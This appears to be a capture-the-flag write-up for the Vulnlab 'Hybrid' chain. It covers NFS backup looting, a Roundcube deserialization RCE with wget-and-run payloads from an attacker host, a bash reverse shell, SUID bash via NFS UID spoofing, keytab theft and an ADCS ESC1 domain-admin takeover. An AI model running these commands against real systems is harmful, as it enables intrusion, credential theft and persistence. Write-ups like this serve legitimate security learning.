Hybrid

hybrid_logo

Have you covered up your portraits of Richard Stallman yet? It’s time to learn how to pwn Hybrid. This is a chain consisting of two machines, an AD-joined Linux Server and a Domain Controller. This write-up will be quite long, so buckle up!

Target IPs:

  • 10.10.185.101 (dc01.hybrid.vl)
  • 10.10.185.102 (mail01.hybrid.vl)

Enumeration

$ cat hosts
10.10.185.101
10.10.185.102
$ nmap -sVC -iL hosts -T4 -Pn --open -oN nmap

Nmap output for 10.10.185.101 (dc01.hybrid.vl), the Domain Controller. We can tell this is a Microsoft Windows machine.

Nmap scan report for 10.10.185.101
Host is up (0.13s latency).
Not shown: 987 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-29 16:20:05Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2025-09-29T16:10:05
|_Not valid after:  2026-09-29T16:10:05
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2025-09-29T16:10:05
|_Not valid after:  2026-09-29T16:10:05
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2025-09-29T16:10:05
|_Not valid after:  2026-09-29T16:10:05
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2025-09-29T16:10:05
|_Not valid after:  2026-09-29T16:10:05
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: HYBRID
|   NetBIOS_Domain_Name: HYBRID
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: hybrid.vl
|   DNS_Computer_Name: dc01.hybrid.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-29T16:20:46+00:00
|_ssl-date: 2025-09-29T16:21:26+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Not valid before: 2025-09-28T16:19:03
|_Not valid after:  2026-03-30T16:19:03
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
|   date: 2025-09-29T16:20:48
|_  start_date: N/A

Nmap output for 10.10.185.102 (mail01.hybrid.vl), the Linux mail server. This is the machine we will take a look at first.

Nmap scan report for 10.10.185.102
Host is up (0.13s latency).
Not shown: 989 closed tcp ports (conn-refused), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 60:bc:22:26:78:3c:b4:e0:6b:ea:aa:1e:c1:62:5d:de (ECDSA)
|_  256 a3:b5:d8:61:06:e6:3a:41:88:45:e3:52:03:d2:23:1b (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
80/tcp   open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Redirecting...
|_http-server-header: nginx/1.18.0 (Ubuntu)
110/tcp  open  pop3     Dovecot pop3d
|_pop3-capabilities: SASL TOP STLS RESP-CODES CAPA PIPELINING UIDL AUTH-RESP-CODE
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after:  2033-06-14T13:20:17
|_ssl-date: TLS randomness does not represent time
111/tcp  open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      47493/tcp   mountd
|   100005  1,2,3      49022/udp6  mountd
|   100005  1,2,3      59247/tcp6  mountd
|   100005  1,2,3      59592/udp   mountd
|   100021  1,3,4      40971/tcp6  nlockmgr
|   100021  1,3,4      45267/tcp   nlockmgr
|   100021  1,3,4      46442/udp   nlockmgr
|   100021  1,3,4      59028/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
143/tcp  open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: STARTTLS post-login have more listed LOGINDISABLEDA0001 LOGIN-REFERRALS capabilities Pre-login ENABLE OK IMAP4rev1 LITERAL+ SASL-IR IDLE ID
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after:  2033-06-14T13:20:17
587/tcp  open  smtp     Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
993/tcp  open  ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more have post-login AUTH=PLAIN listed capabilities LOGIN-REFERRALS Pre-login AUTH=LOGINA0001 ENABLE OK IMAP4rev1 LITERAL+ SASL-IR IDLE ID
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after:  2033-06-14T13:20:17
995/tcp  open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after:  2033-06-14T13:20:17
|_pop3-capabilities: SASL(PLAIN LOGIN) TOP USER RESP-CODES CAPA PIPELINING UIDL AUTH-RESP-CODE
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nfs_acl  3 (RPC #100227)
Service Info: Host:  mail01.hybrid.vl; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Before we continue, make sure you add the hostnames and their corresponding IP addresses into your /etc/hosts file like so:

[...]
10.10.185.101  dc01.hybrid.vl        hybrid.vl
10.10.185.102  mail01.hybrid.vl

Port 80 on MAIL01

http://mail01.hybrid.vl greets us with a login page of Roundcube Webmail. We can’t seem to find version numbers, and I can’t seem to find default credentials that work, so let’s come back here later. roundcube_login

Port 2049 on MAIL01

Port 2049 is usually reserved for NFS shares. Let’s check if any is available on MAIL01.

$ showmount -e mail01.hybrid.vl
Export list for mail01.hybrid.vl:
/opt/share *

We have a share at /opt/share that allows anyone to mount. Let’s mount this in our local filesystem and see what’s inside.

$ mkdir nfs
$ sudo mount -t nfs mail01.hybrid.vl: ./nfs/ -o nolock,rw
$ cd nfs/opt/share
$ ls -al
total 16
drwxrwxrwx 2 nobody nobody 4096 Jun 18  2023 .
drwxr-xr-x 4 root   root   4096 Jun 17  2023 ..
-rw-r--r-- 1 root   root   6003 Jun 18  2023 backup.tar.gz

Seems like we have a backup of some kind, let’s copy it outside the NFS mount into our local filesystem and extract it.

$ cp backup.tar.gz ../../../
$ cd ../../../
$ tar -xzf backup.tar.gz
$ tree backup
backup
├── etc
│   ├── dovecot
│   │   └── dovecot-users
│   ├── passwd
│   ├── postfix
│   │   └── main.cf
│   └── sssd
│       └── sssd.conf
└── opt
    └── certs
        └── hybrid.vl
            ├── fullchain.pem
            └── privkey.pem

We find some plaintext password (yikes!) inside etc/dovecot/dovecot-users.

$ cat backup/etc/dovecot/dovecot-users
admin@hybrid.vl:{plain}<PASSWORD_REDACTED>
peter.turner@hybrid.vl:{plain}<PASSWORD_REDACTED>

Dovecot is a IMAP and POP3 mail server that we saw earlier is installed on MAIL01. Reasonably, we can assume that the Roundcube Webmail on port 80 might be using the same credentials.

Logging into Roundcube

We can log into the Roundcube Web portal wth admin@hybrid.vl’s credentials. roundcube_login The about pop-up reveals this Roundcube instance is version 1.6.1, which is vulnerable to CVE-2025-49113, an authenticated RCE vulnerability because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization. This vulnerability affects versions before 1.5.10 and 1.6.x before 1.6.11. roundcube_version

MAIL01 Initial Access

I have found a working exploit in this repository: link. Let’s start exploiting.

The following exploit command will execute whoami, but we won’t be able to get its output back.

$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' 'whoami'

We can test if this exploit works by spinning up a Python HTTP server on our machine, and try sending a curl command from the target via the exploit.

$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' 'curl http://<ATTACKER_IP>:8000'

Successful callback received from MAIL01. roundcube_rce_callback At this point, you can use bash reverse shell to get shell access, but I’m going to shill for demonstrate how to use CruxC2, the Open Source Command and Control tool I wrote in Rust. It’s not complete yet, but it is at a usable stage. Link to the CruxC2 Github Repo

Steps to install:

$ git clone https://github.com/RandomChugokujin/CruxC2
$ cd CruxC2
$ export PATH=$PATH:$HOME/.cargo/bin
$ cargo install --path .

Running the CruxServer binary will listen on port 1337 by default, feel free to specify alternative listen port using the -p option on both the Server and the Agent.

$ CruxServer
Please enter password for identity file (/home/brian/.config/CruxC2/identity.pfx):

   ______                             ______   _____
 .' ___  |                          .' ___  | / ___ `.
/ .'   \_| _ .--.  __   _   _   __ / .'   \_||_/___) |
| |       [ `/'`\][  | | | [ \ [  ]| |        .'____.'
\ `.___.'\ | |     | \_/ |, > '  < \ `.___.'\/ /_____
 `.____ .'[___]    '.__.'_/[__]`\_] `.____ .'|_______|


CruxServer is listening on port 1337

We want to use the exploit to transfer the CruxAgent Binary to the target. We first serve our Binary via Python HTTP server:

$ cp ~/.cargo/bin/CruxAgent .
$ python -m http.server

Then, we use to exploit to download and execute the CruxAgent Binary.

$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' 'wget http://<ATTACKER_IP>:8000/CruxAgent -O /tmp/CruxAgent'
$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' 'chmod +x /tmp/CruxAgent'
$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' '/tmp/CruxAgent <ATTACKER_IP>'

And we get our shell. cruxc2_success The prompt indicates we are currently the www-data user on MAIL01, and all of our commands will be ran through Bash.

MAIL01 Lateral Movement

NFS allows for some privilege escalation opportunities now that gained shell access. Let’s take a look at its configuration file, which is /etc/exports:

CRUX|www-data@mail01|10.10.185.102:45164|$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/opt/share *(rw,no_subtree_check)

This configuration file, although seem pretty default, reveals a lateral movement vector. In NFS, the client’s UID and GID will be trusted to read and write contents on its shares. Suppose there is a user named Alice on our local machine with UID of 1000 and GID of 1000, and a user named Bob on the NFS server who has the same UID and GID. If Alice creates a file named file.txt in the NFS share, from the server’s perspective, it can only see the UID and GIDs, not the username of Alice. It will look into its own /etc/passwd file to find the user with matching UID and GID. In this case, it will see that Bob has the UID of 1000 and GID of 1000. Therefore, from the server’s perspective, the file is owned by Bob.

However, by default, NFS will not trust root UIDs and GIDs. If the no_root_squash option is not specified, any file written by the client root into the share will be marked as owned by nobody:nobody. We can see this in action if we su root from our own machine and try to create a file inside the NFS share. nfs_root_squash

But this doesn’t stop us from creating files owned by UIDs and GIDs other than root. As we can see, the /home directory on MAIL01 reveals that we have a domain user named peter.turner@hybrid.vl, and we can also get his UID and GID: peter_turner_mail01

Let’s create a user locally named peter with the same UID as peter.turner@hybrid.vl on MAIL01 and place a file inside the NFS share to see if our UID gets retained.

$ sudo useradd -u 902601108 peter
$ sudo su peter
$ cd nfs/opt/share
$ touch test2.txt

On MAIL01, if we list out the contents of the NFS share directory, we can see that MAIL01 considers test2.txt to be owned by peter.turner@hybrid.vl. uid_fooled But how do we turn file write capability into command execution? Well, a little known fact about Bash is its -p option. Here’s a exerpt from the Bash man page:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

In other words, if we create a copy of the Bash binary inside the NFS share owned by peter.turner and have SUID set, when we execute this copy of bash with -p option set, it will run and execute command as peter.turner.

To do so, we first copy /bin/bash installed on MAIL01 to the NFS share directory, so that we can access it from the attacker machine.

CRUX|www-data@mail01|10.10.185.102:45164|$ cd /opt/share
CRUX|www-data@mail01|10.10.185.102:45164|$ cp /bin/bash .
CRUX|www-data@mail01|10.10.185.102:45164|$ ls -l
total 1364
-rwxr-xr-x 1 www-data www-data 1396520 Sep 29 17:56 bash
-rw-r--r-- 1 nobody   nogroup        0 Sep 29 17:43 test.txt

On the attacker-side, we move the bash outside the nfs share then change its owner to peter.

$ mv bash ../../../
$ sudo chown peter:peter bash

Next, we need to copy this Bash binary back into the NFS share as peter.

$ sudo su peter
$ cp bash nfs/opt/share

Finally, we setuid the Bash binary inside the NFS share, still as peter. This step must be done last. If not, the setuid will be lost when Bash is transferred to the NFS share.

$ cd nfs/opt/share
$ chmod u+s bash
$ ls -l /tmp/peter/opt/share/
total 1364
-rwsr-xr-x 1 peter  peter  1396520 Sep 29 13:19 bash
-rw-r--r-- 1 peter  peter        0 Sep 29 13:00 test2.txt
-rw-r--r-- 1 nobody nobody       0 Sep 29 12:43 test.txt

From the perspective of the target machine, the bash inside the NFS share directory is owned by peter.turner@hybrid.vl, and it is an SUID binary, which means we can run it and execute command as peter.turner@hybrid.vl. mail_01_lateral_proof From there, we can run a reverse shell using this bash binary:

CRUX|www-data@mail01|10.10.185.102:45164|$ ./bash -p -i >& /dev/tcp/10.8.6.98/8080 0>&1

peter_rshell_mail01

MAIL01 Privilege Escalation

To maintain persistence, we generate an SSH key pair and put the public key into peter.turner’s home directory.

$ ssh-keygen
$ mkdir /home/peter.turner@hybrid.vl/.ssh
$ echo "<SSH_PUBKEY>" > /home/peter.turner@hybrid.vl/.ssh/authorized_key

Then, we can successfully SSH into MAIL01 as peter.turner. The first user flag is available here. ssh_success We can see alongside the first flag is also a Keepass database, which is used by Keepass-compatible password managers to store securely store passwords. We can read its contents with the kpcli util installed on the server, but since I have KeepassXC on my own machine, I’m going to download the database and open it there.

We open the database with the password associated with peter.turner inside the backup dovecot configuration file. The Keepass DB reveals the domain password for peter.turner. keepass_opened

Using this password, We can escalate our privilege to root on MAIL01. Another flag is available in the /root directory mail01_root

Don’t forget to maintain our access by uploading our SSH pubkey to the root user:

$ echo <SSH_PUBKEY> >> /root/.ssh/authorized_keys

Domain Dominance

Our work is not done yet. MAIL01 is part of an Active Directory network. Fortunately, when we opened the Keepass database, we found our first set of valid credentials on the AD domain. This allows us conduct further enumeration of the Domain Controller.

For example, we can enumerate the ADCS and the certificate templates using certipy on our local machine.

$ certipy find -u "peter.turner@hybrid.vl" -p "<PASSWORD_REDACTED>" -dc-ip 10.10.185.101

We read the output file generated by certipy to see if there are any vulnerable certificate templates for us to exploit. hybridcomputers A certificate template named HybridComputers allows:

  • EnrolleeSuppliesSubject
  • HYBRID.VL\Domain Computers to enroll
  • Enrollees to use this template to authenticate

This certificate template is a textbook ESC1, which you can read more in this article of mine. But TL;DR, this template allows us to request a certificate with the name of any user we want on it, and then we can take this certificate to services on the domain to authenticate as that user. This means we can request a certificate and log into DC01 as the domain admin.

First, we need to get access to a principal inside Domain Computers. Fortunately, we have already totally compromised MAIL01. On Linux machines that authenticates to the Domain Controller via Kerberos, the /etc/krb5.keytab file stores Kerberos principal names and their associated long-term secret keys (encrypted passwords) used for non-interactive authentication. This means we can use this file to request a Kerberos TGT that would allow us to request a HybridComputers certificate as a principal inside the Domain Computers group.

First, let’s transfer a copy of the /etc/krb5.keytab file onto our attacker machine.

$ scp -i key root@mail01.hybrid.vl:/etc/krb5.keytab .

Then make sure to add entries for the hybrid.vl domain inside the /etc/krb5.conf of your machine.

[libdefaults]
    default_realm = HYBRID.VL
    dns_lookup_kdc = true
    dns_lookup_realm = true
    rdns = false
    allow_weak_crypto = true

[realms]
# use "kdc = ..." if realm admins haven't put SRV records into DNS
    [...]
    HYBRID.VL = {
        kdc = dc01.hybrid.vl
        admin_server = dc01.hybrid.vl
    }


[domain_realm]
    [...]
    hybrid.vl = HYBRID.VL
    .hybrid.vl = HYBRID.VL

Now, we can request a TGT as the MAIL01 computer account, whose encrypted password is stored inside the krb5.keytab file we just downloaded.

$ kinit -k -t krb5.keytab 'MAIL01$'@HYBRID.VL

mail01_tgt

Make sure export the KRB5CCNAME environment variable to be where klist showed our Ticket Cached to be stored at. In this case, we set it to /tmp/krb5cc_1000. This way, certipy will be able to read the TGT we just requested.

$ export KRB5CCNAME=/tmp/krb5cc_1000

Let’s request a HybridComputers certificate, with the subject name of the domain administrator.

$ certipy req -k -no-pass -ca hybrid-DC01-CA -upn administrator@hybrid.vl -template HybridComputers -target dc01.hybrid.vl -dc-ip 10.10.185.101 -key-size 4096 -sid 'S-1-5-21-3436099999-75120703-3673112333-500'

cert_req_success Nice, let’s use certipy once again to authenticate as domain admin.

$ certipy auth -pfx administrator.pfx -dc-ip 10.10.185.101

admin_hash_dumped Certipy has now dumped the Domain Admin’s NTLM hash to us, in addition to saving their TGT into a .ccache file in our current directory. I’m going to log into the domain controller using the TGT via WinRM.

$ export KRB5CCNAME=administrator.ccache
$ evil-winrm -r HYBRID.vl -i dc01.hybrid.vl

domain_pwned We did it chat, we pwned Hybrid.🎉🎉🎉

Conclusion

Hopefully you enjoyed this write-up. The most interesting part of this Chain is definitely the MAIL01 lateral movement that exploits how NFS trusts the UID and GID the user supplies when creating new files. In addition, I’m still amazed at how much room for privilege escalation ADCS misconfigurations and certificate templates provide.

#Vulnlab #Easy #Chain #Linux #windows #Active Directory